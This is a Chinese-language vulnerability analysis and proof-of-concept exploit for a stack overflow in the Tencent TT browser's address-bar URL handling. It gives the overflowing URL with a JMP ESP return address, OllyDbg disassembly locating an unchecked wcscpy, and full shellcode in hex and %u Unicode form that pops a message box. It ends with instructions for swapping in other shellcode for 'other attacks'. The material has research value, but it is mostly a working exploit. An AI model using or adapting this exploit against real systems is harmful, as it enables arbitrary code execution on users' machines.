漏洞概述 腾讯TT(QQ Traveler)是一款多页面浏览器,具有亲切、友好的用户界面,提供多种皮肤供用户根据个人喜好使用,另外TT更是新增了多项人性化的特色功能,使上网冲浪变的更加轻松自如、省时省力。智能屏蔽一键开通, 最近浏览一键找回,多页面一键打开,浏览记录一键清除,多种皮肤随心变换,多线程高速旋风下载。 腾讯TT在处理地址栏输入的URL时,存在栈溢出漏洞。虽然其处理过程中对URL进行了Unicode编码,但是经过精心的构造,还是可以构造出可见的 Unicode字符串,来控制EIP指令寄存器,并构造支持Unicode的shellcode。这一点已经得到我们的证实!
漏洞分析 构造的URL如下:
以下是引用片段: http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffggggggggggggggggggggggggggg ... hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh | 其中蠀緑是7DD1 8800这个十六进制的unicode码,这个地址指向Window XP的shell32.dll中的某个JMP ESP指令的地址; 剩下的蓝色部分是一段支持unicode的shellcode,这段shellcode是failwest大侠所作,可以自动加载user32.dll动态链接库,并弹出对话框,显示"failwest"。 因此,如果把上面的url填入腾讯TT的地址栏,并执行了shellcode,即弹出了对话框,那么就可以说明这个漏洞的存在,下面是实验结果的截图:

因此可以证明这个漏洞的存在,下面我们用ollyDBG来跟踪分析一下:

0053AE1D |. 8B35 30825600 MOV ESI,DWORD PTR DS:[] ; msvcrt.wcslen 0053AE23 |. 55 PUSH EBP ; /s 指向URL的堆地址 0053AE24 |. FFD6 CALL ESI ; \wcslen 进行长度URL的计算 0053AE26 |. 83C4 04 ADD ESP,4 0053AE29 |. 85C0 TEST EAX,EAX ;EAX此时是URL的长度 0053AE2B |. 0F84 3B010000 JE TTravele.0053AF6C ;如果URL的长度为0,则退出 0053AE31 |. 68 D0CA5A00 PUSH TTravele.005ACAD0 ; /wstr2 = "about:blank" 0053AE36 |. 55 PUSH EBP ; |wstr1 0053AE37 |. FF15 38825600 CALL DWORD PTR DS:[] ; \_wcsicmp 让URL与"about:blank"比较 0053AE3D |. 83C4 08 ADD ESP,8 0053AE40 |. 85C0 TEST EAX,EAX ;如果URL和"about:blank"相同 0053AE42 |. 0F84 24010000 JE TTravele.0053AF6C ;就退出 0053AE48 |. A1 E4125C00 MOV EAX,DWORD PTR DS:[5C12E4] 0053AE4D |. 33DB XOR EBX,EBX 0053AE4F |. 85C0 TEST EAX,EAX 0053AE51 |. 76 32 JBE SHORT TTravele.0053AE85 ;跳0053AE85 0053AE53 |. BF 00705B00 MOV EDI,TTravele.005B7000 0053AE58 |> 55 /PUSH EBP ; /wstr2 0053AE59 |. 57 |PUSH EDI ; |wstr1 0053AE5A |. FF15 38825600 |CALL DWORD PTR DS:[] ; \_wcsicmp 0053AE60 |. 83C4 08 |ADD ESP,8 0053AE63 |. 85C0 |TEST EAX,EAX 0053AE65 |. 74 12 |JE SHORT TTravele.0053AE79 0053AE67 |. A1 E4125C00 |MOV EAX,DWORD PTR DS:[5C12E4] 0053AE6C |. 43 |INC EBX 0053AE6D |. 81C7 4A100000 |ADD EDI,104A 0053AE73 |. 3BD8 |CMP EBX,EAX 0053AE75 |.^72 E1 \JB SHORT TTravele.0053AE58 0053AE77 |. EB 0C JMP SHORT TTravele.0053AE85 0053AE79 |> 3B1D E4125C00 CMP EBX,DWORD PTR DS:[5C12E4] 0053AE7F |. 0F82 E7000000 JB TTravele.0053AF6C 0053AE85 |> 8B1D 2C825600 MOV EBX,DWORD PTR DS:[] ; msvcrt.wcscpy 0053AE8B |. 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10] 0053AE8F |. 55 PUSH EBP ; /src指向URL的堆地址 0053AE90 |. 50 PUSH EAX ; |dest指向栈帧中的一个栈地址 0053AE91 |. FFD3 CALL EBX ; \wcscpy 复制URL到栈中 0053AE93 |. 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP+18] 0053AE97 |. 51 PUSH ECX 0053AE98 |. FFD6 CALL ESI 通过上面的分析,可以看出程序仅判断了地址栏输入的URL的长度是否为0,但是没有对URL长度的上限进行判断。这是导致最后栈溢出的根本原因! 那么我们只要算好地址,正好淹没了函数的返回地址即可,并在返回地址后紧跟着我们编制好的支持unicode的shellcode,也就是说我们玩的是JMP ESP这种经典的栈溢出跳shellcode的方法!
漏洞利用 作为演示,这里仅利用这个漏洞来弹出一个对话框,shellcode作者是failwest。 "\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B" "\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68" "\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49" "\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF" "\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20" "\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4" "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4" "\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C" "\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53" "\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53" "\xFF\x57\xFC\x53\xFF\x57\xF8"; 写成unicode的形式如下:(每两个字节进行首字节与尾字节颠倒即可) %u6A68%u380A%u681E%u8963%u4FD1%u3268%u9174%u8B0C%u8DF4%uF47E%uDB33%u04B7%uE32B%uBB66%u3233%u6853%u7375%u7265%u3354%u64D2%u5A8B%u8B30%u0C4B%u498B%u8B1C%u8B09%u0869%u3DAD%u0A6A%u1E38%u0575%uFF95%uF857%u6095%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u6A3D%u380A%u751E%u33A9%u53DB%u7768%u7365%u6874%u6166%u6C69%uC48B%u5053%u5350%u57FF%u53FC%u57FF 从shellcode到unicode的转换,我已经写好了工具,运行一下那个程序,就可以把同目录下的sc.txt(不含"\x"的shellcode字符文件)转换成unicode的形式,生成unicode.txt文件! 如要进行其他攻击,请先写好支持Unicode的shellcode,然后用我的工具,转换成unicode形式,并把unicode形式的 shellcode追加到上面的URL中蠀緑后即可。具体支持unicode 的shellcode的编写,请参考以下链接: Unicode编码表:http://www.wiki.cn/wiki/Unicode%E7%BC%96%E7%A0%81%E8%A1%A8/0000-0FFF
Unicode shellcode: http://arhiva.elitesecurity.org/t80431-Unicode-shellcode
《Creating Arbitrary Shellcode In Unicode Expanded Strings》 http://www.nextgenss.com/papers/unicodebo.pdf
|